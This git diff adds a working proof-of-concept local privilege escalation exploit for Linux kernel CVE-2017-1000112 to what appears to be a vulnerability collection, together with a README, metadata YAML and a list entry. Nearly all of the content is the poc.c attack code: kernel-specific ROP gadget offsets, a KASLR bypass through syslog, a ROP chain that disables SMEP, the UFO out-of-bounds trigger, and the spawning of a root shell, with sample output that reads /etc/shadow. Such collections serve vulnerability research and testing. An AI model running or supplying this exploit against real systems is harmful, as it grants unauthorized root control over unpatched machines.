diff --git a/cve/linux-kernel/2017/CVE-2017-1000112/README.md b/cve/linux-kernel/2017/CVE-2017-1000112/README.md new file mode 100644 index 0000000000000000000000000000000000000000..7299a9af6d8e58e446f40e67edc5981dd271ffdb --- /dev/null +++ b/cve/linux-kernel/2017/CVE-2017-1000112/README.md @@ -0,0 +1,5 @@ +CVE-2017-1000112 +================ + +This is a proof-of-concept Local Privelege Escalation exploit for [CVE-2017-1000112](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000112) — a memory corruption vulnerability I found in the UDP Fragmentation Offload feature of the Linux kernel IP sockets. +See the details in [CVE-2017-1000112: Exploiting an out-of-bounds bug in the Linux kernel UFO packets](https://xairy.io/articles/2017/cve-2017-1000112). diff --git a/cve/linux-kernel/2017/CVE-2017-1000112/poc.c b/cve/linux-kernel/2017/CVE-2017-1000112/poc.c new file mode 100644 index 0000000000000000000000000000000000000000..94732769f4a8cc6b3b3e55b2486975eca00b5c27 --- /dev/null +++ b/cve/linux-kernel/2017/CVE-2017-1000112/poc.c @@ -0,0 +1,668 @@ +// A proof-of-concept local root exploit for CVE-2017-1000112. +// Includes KASLR and SMEP bypasses. No SMAP bypass. +// Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels. +// +// Usage: +// user@ubuntu:~$ uname -a +// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux +// user@ubuntu:~$ whoami +// user +// user@ubuntu:~$ id +// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) +// user@ubuntu:~$ gcc pwn.c -o pwn +// user@ubuntu:~$ ./pwn +// [.] starting +// [.] checking distro and kernel versions +// [.] kernel version '4.8.0-58-generic' detected +// [~] done, versions looks good +// [.] checking SMEP and SMAP +// [~] done, looks good +// [.] setting up namespace sandbox +// [~] done, namespace sandbox set up +// [.] KASLR bypass enabled, getting kernel addr +// [~] done, kernel text: ffffffffae400000 +// [.] commit_creds: ffffffffae4a5d20 +// [.] prepare_kernel_cred: ffffffffae4a6110 +// [.] SMEP bypass enabled, mmapping fake stack +// [~] done, fake stack mmapped +// [.] executing payload ffffffffae40008d +// [~] done, should be root now +// [.] checking if we got root +// [+] got r00t ^_^ +// root@ubuntu:/home/user# whoami +// root +// root@ubuntu:/home/user# id +// uid=0(root) gid=0(root) groups=0(root) +// root@ubuntu:/home/user# cat /etc/shadow +// root:!:17246:0:99999:7::: +// daemon:*:17212:0:99999:7::: +// bin:*:17212:0:99999:7::: +// sys:*:17212:0:99999:7::: +// ... +// +// Andrey Konovalov + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#define ENABLE_KASLR_BYPASS 1 +#define ENABLE_SMEP_BYPASS 1 + +// Will be overwritten if ENABLE_KASLR_BYPASS is enabled. +unsigned long KERNEL_BASE = 0xffffffff81000000ul; + +// Will be overwritten by detect_versions(). +int kernel = -1; + +struct kernel_info { + const char* distro; + const char* version; + uint64_t commit_creds; + uint64_t prepare_kernel_cred; + uint64_t xchg_eax_esp_ret; + uint64_t pop_rdi_ret; + uint64_t mov_dword_ptr_rdi_eax_ret; + uint64_t mov_rax_cr4_ret; + uint64_t neg_rax_ret; + uint64_t pop_rcx_ret; + uint64_t or_rax_rcx_ret; + uint64_t xchg_eax_edi_ret; + uint64_t mov_cr4_rdi_ret; + uint64_t jmp_rcx; +}; + +struct kernel_info kernels[] = { + { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, + { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, + { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, + { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, + { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, + { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, + { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, + { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, + { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, + { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, + { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, + { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, + { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, + { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, + { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, + { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, + { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, + { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, + { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, + { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, + { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, + { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, + { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, + { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, + { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, + { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, + { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, + { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, + { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, + { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, + { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, + { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, +}; + +// Used to get root privileges. +#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) +#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) + +// Used when ENABLE_SMEP_BYPASS is used. +// - xchg eax, esp ; ret +// - pop rdi ; ret +// - mov dword ptr [rdi], eax ; ret +// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret +// - neg rax ; ret +// - pop rcx ; ret +// - or rax, rcx ; ret +// - xchg eax, edi ; ret +// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret +// - jmp rcx +#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) +#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) +#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) +#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) +#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) +#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) +#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) +#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) +#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) +#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) + +// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * + +typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred); +typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); + +void get_root(void) { + ((_commit_creds)(COMMIT_CREDS))( + ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)); +} + +// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * + +uint64_t saved_esp; + +// Unfortunately GCC does not support `__atribute__((naked))` on x86, which +// can be used to omit a function's prologue, so I had to use this weird +// wrapper hack as a workaround. Note: Clang does support it, which means it +// has better support of GCC attributes than GCC itself. Funny. +void wrapper() { + asm volatile (" \n\ + payload: \n\ + movq %%rbp, %%rax \n\ + movq $0xffffffff00000000, %%rdx \n\ + andq %%rdx, %%rax \n\ + movq %0, %%rdx \n\ + addq %%rdx, %%rax \n\ + movq %%rax, %%rsp \n\ + call get_root \n\ + ret \n\ + " : : "m"(saved_esp) : ); +} + +void payload(); + +#define CHAIN_SAVE_ESP \ + *stack++ = POP_RDI_RET; \ + *stack++ = (uint64_t)&saved_esp; \ + *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; + +#define SMEP_MASK 0x100000 + +#define CHAIN_DISABLE_SMEP \ + *stack++ = MOV_RAX_CR4_RET; \ + *stack++ = NEG_RAX_RET; \ + *stack++ = POP_RCX_RET; \ + *stack++ = SMEP_MASK; \ + *stack++ = OR_RAX_RCX_RET; \ + *stack++ = NEG_RAX_RET; \ + *stack++ = XCHG_EAX_EDI_RET; \ + *stack++ = MOV_CR4_RDI_RET; + +#define CHAIN_JMP_PAYLOAD \ + *stack++ = POP_RCX_RET; \ + *stack++ = (uint64_t)&payload; \ + *stack++ = JMP_RCX; + +void mmap_stack() { + uint64_t stack_aligned, stack_addr; + int page_size, stack_size, stack_offset; + uint64_t* stack; + + page_size = getpagesize(); + + stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); + stack_addr = stack_aligned - page_size * 4; + stack_size = page_size * 8; + stack_offset = XCHG_EAX_ESP_RET % page_size; + + stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, + MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); + if (stack == MAP_FAILED || stack != (void*)stack_addr) { + perror("[-] mmap()"); + exit(EXIT_FAILURE); + } + + stack = (uint64_t*)((char*)stack_aligned + stack_offset); + + CHAIN_SAVE_ESP; + CHAIN_DISABLE_SMEP; + CHAIN_JMP_PAYLOAD; +} + +// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * + +#define SYSLOG_ACTION_READ_ALL 3 +#define SYSLOG_ACTION_SIZE_BUFFER 10 + +void mmap_syslog(char** buffer, int* size) { + *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); + if (*size == -1) { + perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); + exit(EXIT_FAILURE); + } + + *size = (*size / getpagesize() + 1) * getpagesize(); + *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + + *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); + if (*size == -1) { + perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); + exit(EXIT_FAILURE); + } +} + +unsigned long get_kernel_addr_trusty(char* buffer, int size) { + const char* needle1 = "Freeing unused"; + char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); + if (substr == NULL) { + fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); + exit(EXIT_FAILURE); + } + + int start = 0; + int end = 0; + for (end = start; substr[end] != '-'; end++); + + const char* needle2 = "ffffff"; + substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); + if (substr == NULL) { + fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); + exit(EXIT_FAILURE); + } + + char* endptr = &substr[16]; + unsigned long r = strtoul(&substr[0], &endptr, 16); + + r &= 0xffffffffff000000ul; + + return r; +} + +unsigned long get_kernel_addr_xenial(char* buffer, int size) { + const char* needle1 = "Freeing unused"; + char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); + if (substr == NULL) { + fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); + exit(EXIT_FAILURE); + } + + int start = 0; + int end = 0; + for (start = 0; substr[start] != '-'; start++); + for (end = start; substr[end] != '\n'; end++); + + const char* needle2 = "ffffff"; + substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); + if (substr == NULL) { + fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); + exit(EXIT_FAILURE); + } + + char* endptr = &substr[16]; + unsigned long r = strtoul(&substr[0], &endptr, 16); + + r &= 0xfffffffffff00000ul; + r -= 0x1000000ul; + + return r; +} + +unsigned long get_kernel_addr() { + char* syslog; + int size; + mmap_syslog(&syslog, &size); + + if (strcmp("trusty", kernels[kernel].distro) == 0 && + strncmp("4.4.0", kernels[kernel].version, 5) == 0) + return get_kernel_addr_trusty(syslog, size); + if (strcmp("xenial", kernels[kernel].distro) == 0 && + strncmp("4.8.0", kernels[kernel].version, 5) == 0) + return get_kernel_addr_xenial(syslog, size); + + printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*"); + exit(EXIT_FAILURE); +} + +// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * + +struct ubuf_info { + uint64_t callback; // void (*callback)(struct ubuf_info *, bool) + uint64_t ctx; // void * + uint64_t desc; // unsigned long +}; + +struct skb_shared_info { + uint8_t nr_frags; // unsigned char + uint8_t tx_flags; // __u8 + uint16_t gso_size; // unsigned short + uint16_t gso_segs; // unsigned short + uint16_t gso_type; // unsigned short + uint64_t frag_list; // struct sk_buff * + uint64_t hwtstamps; // struct skb_shared_hwtstamps + uint32_t tskey; // u32 + uint32_t ip6_frag_id; // __be32 + uint32_t dataref; // atomic_t + uint64_t destructor_arg; // void * + uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; +}; + +struct ubuf_info ui; + +void init_skb_buffer(char* buffer, unsigned long func) { + struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; + memset(ssi, 0, sizeof(*ssi)); + + ssi->tx_flags = 0xff; + ssi->destructor_arg = (uint64_t)&ui; + ssi->nr_frags = 0; + ssi->frag_list = 0; + + ui.callback = func; +} + +// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * + +#define SHINFO_OFFSET 3164 + +void oob_execute(unsigned long payload) { + char buffer[4096]; + memset(&buffer[0], 0x42, 4096); + init_skb_buffer(&buffer[SHINFO_OFFSET], payload); + + int s = socket(PF_INET, SOCK_DGRAM, 0); + if (s == -1) { + perror("[-] socket()"); + exit(EXIT_FAILURE); + } + + struct sockaddr_in addr; + memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = htons(8000); + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + + if (connect(s, (void*)&addr, sizeof(addr))) { + perror("[-] connect()"); + exit(EXIT_FAILURE); + } + + int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); + int rv = send(s, buffer, size, MSG_MORE); + if (rv != size) { + perror("[-] send()"); + exit(EXIT_FAILURE); + } + + int val = 1; + rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); + if (rv != 0) { + perror("[-] setsockopt(SO_NO_CHECK)"); + exit(EXIT_FAILURE); + } + + send(s, buffer, 1, 0); + + close(s); +} + +// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * + +#define CHUNK_SIZE 1024 + +int read_file(const char* file, char* buffer, int max_length) { + int f = open(file, O_RDONLY); + if (f == -1) + return -1; + int bytes_read = 0; + while (true) { + int bytes_to_read = CHUNK_SIZE; + if (bytes_to_read > max_length - bytes_read) + bytes_to_read = max_length - bytes_read; + int rv = read(f, &buffer[bytes_read], bytes_to_read); + if (rv == -1) + return -1; + bytes_read += rv; + if (rv == 0) + return bytes_read; + } +} + +#define LSB_RELEASE_LENGTH 1024 + +void get_distro_codename(char* output, int max_length) { + char buffer[LSB_RELEASE_LENGTH]; + int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH); + if (length == -1) { + perror("[-] open/read(/etc/lsb-release)"); + exit(EXIT_FAILURE); + } + const char *needle = "DISTRIB_CODENAME="; + int needle_length = strlen(needle); + char* found = memmem(&buffer[0], length, needle, needle_length); + if (found == NULL) { + printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); + exit(EXIT_FAILURE); + } + int i; + for (i = 0; found[needle_length + i] != '\n'; i++) { + assert(i < max_length); + assert((found - &buffer[0]) + needle_length + i < length); + output[i] = found[needle_length + i]; + } +} + +void get_kernel_version(char* output, int max_length) { + struct utsname u; + int rv = uname(&u); + if (rv != 0) { + perror("[-] uname())"); + exit(EXIT_FAILURE); + } + assert(strlen(u.release) <= max_length); + strcpy(&output[0], u.release); +} + +#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) + +#define DISTRO_CODENAME_LENGTH 32 +#define KERNEL_VERSION_LENGTH 32 + +void detect_versions() { + char codename[DISTRO_CODENAME_LENGTH]; + char version[KERNEL_VERSION_LENGTH]; + + get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); + get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); + + int i; + for (i = 0; i < ARRAY_SIZE(kernels); i++) { + if (strcmp(&codename[0], kernels[i].distro) == 0 && + strcmp(&version[0], kernels[i].version) == 0) { + printf("[.] kernel version '%s' detected\n", kernels[i].version); + kernel = i; + return; + } + } + + printf("[-] kernel version not recognized\n"); + exit(EXIT_FAILURE); +} + +#define PROC_CPUINFO_LENGTH 4096 + +// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP +int smap_smep_enabled() { + char buffer[PROC_CPUINFO_LENGTH]; + int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH); + if (length == -1) { + perror("[-] open/read(/proc/cpuinfo)"); + exit(EXIT_FAILURE); + } + int rv = 0; + char* found = memmem(&buffer[0], length, "smep", 4); + if (found != NULL) + rv += 1; + found = memmem(&buffer[0], length, "smap", 4); + if (found != NULL) + rv += 2; + return rv; +} + +void check_smep_smap() { + int rv = smap_smep_enabled(); + if (rv >= 2) { + printf("[-] SMAP detected, no bypass available\n"); + exit(EXIT_FAILURE); + } +#if !ENABLE_SMEP_BYPASS + if (rv >= 1) { + printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); + exit(EXIT_FAILURE); + } +#endif +} + +// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * + +static bool write_file(const char* file, const char* what, ...) { + char buf[1024]; + va_list args; + va_start(args, what); + vsnprintf(buf, sizeof(buf), what, args); + va_end(args); + buf[sizeof(buf) - 1] = 0; + int len = strlen(buf); + + int fd = open(file, O_WRONLY | O_CLOEXEC); + if (fd == -1) + return false; + if (write(fd, buf, len) != len) { + close(fd); + return false; + } + close(fd); + return true; +} + +void setup_sandbox() { + int real_uid = getuid(); + int real_gid = getgid(); + + if (unshare(CLONE_NEWUSER) != 0) { + printf("[!] unprivileged user namespaces are not available\n"); + perror("[-] unshare(CLONE_NEWUSER)"); + exit(EXIT_FAILURE); + } + if (unshare(CLONE_NEWNET) != 0) { + perror("[-] unshare(CLONE_NEWUSER)"); + exit(EXIT_FAILURE); + } + + if (!write_file("/proc/self/setgroups", "deny")) { + perror("[-] write_file(/proc/self/set_groups)"); + exit(EXIT_FAILURE); + } + if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { + perror("[-] write_file(/proc/self/uid_map)"); + exit(EXIT_FAILURE); + } + if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { + perror("[-] write_file(/proc/self/gid_map)"); + exit(EXIT_FAILURE); + } + + cpu_set_t my_set; + CPU_ZERO(&my_set); + CPU_SET(0, &my_set); + if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { + perror("[-] sched_setaffinity()"); + exit(EXIT_FAILURE); + } + + if (system("/sbin/ifconfig lo mtu 1500") != 0) { + perror("[-] system(/sbin/ifconfig lo mtu 1500)"); + exit(EXIT_FAILURE); + } + if (system("/sbin/ifconfig lo up") != 0) { + perror("[-] system(/sbin/ifconfig lo up)"); + exit(EXIT_FAILURE); + } +} + +void exec_shell() { + char* shell = "/bin/bash"; + char* args[] = {shell, "-i", NULL}; + execve(shell, args, NULL); +} + +bool is_root() { + // We can't simple check uid, since we're running inside a namespace + // with uid set to 0. Try opening /etc/shadow instead. + int fd = open("/etc/shadow", O_RDONLY); + if (fd == -1) + return false; + close(fd); + return true; +} + +void check_root() { + printf("[.] checking if we got root\n"); + if (!is_root()) { + printf("[-] something went wrong =(\n"); + return; + } + printf("[+] got r00t ^_^\n"); + exec_shell(); +} + +int main(int argc, char** argv) { + printf("[.] starting\n"); + + printf("[.] checking distro and kernel versions\n"); + detect_versions(); + printf("[~] done, versions looks good\n"); + + printf("[.] checking SMEP and SMAP\n"); + check_smep_smap(); + printf("[~] done, looks good\n"); + + printf("[.] setting up namespace sandbox\n"); + setup_sandbox(); + printf("[~] done, namespace sandbox set up\n"); + +#if ENABLE_KASLR_BYPASS + printf("[.] KASLR bypass enabled, getting kernel addr\n"); + KERNEL_BASE = get_kernel_addr(); + printf("[~] done, kernel text: %lx\n", KERNEL_BASE); +#endif + + printf("[.] commit_creds: %lx\n", COMMIT_CREDS); + printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); + + unsigned long payload = (unsigned long)&get_root; + +#if ENABLE_SMEP_BYPASS + printf("[.] SMEP bypass enabled, mmapping fake stack\n"); + mmap_stack(); + payload = XCHG_EAX_ESP_RET; + printf("[~] done, fake stack mmapped\n"); +#endif + + printf("[.] executing payload %lx\n", payload); + oob_execute(payload); + printf("[~] done, should be root now\n"); + + check_root(); + + return 0; +} diff --git a/cve/linux-kernel/2017/yaml/CVE-2017-1000112.yaml b/cve/linux-kernel/2017/yaml/CVE-2017-1000112.yaml new file mode 100644 index 0000000000000000000000000000000000000000..dea96fb89d28319f9eaf018628708d5d53f272ce --- /dev/null +++ b/cve/linux-kernel/2017/yaml/CVE-2017-1000112.yaml @@ -0,0 +1,20 @@ +id: CVE-2017-1000112 +source: https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112 +info: + name: Linux内核是Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + 由于UFO到非UFO的路径切换，导致可被利用的内存损坏。 + scope-of-influence: + linux_kernel <= 4.13.9 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2017-1000112 + - https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112 + classification: + cvss-metrics: CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.0 + cve-id: CVE-2017-1000112 + cwe-id: CWE-362 + cnvd-id: None + kve-id: None + tags: kernel, Privelege Escalation \ No newline at end of file diff --git a/other_list.yaml b/other_list.yaml index c9f163e3866c598393020baa8f80b1a50c9a2490..a6f851b42fc65932b899d953b3d3b7a6f6b074ad 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -1,6 +1,7 @@ #此收录漏洞列表为非openKylin发行版用例。 cve: linux-kernel: + - CVE-2017-1000112 - CVE-2019-16884 - CVE-2021-33909 - CVE-2021-3493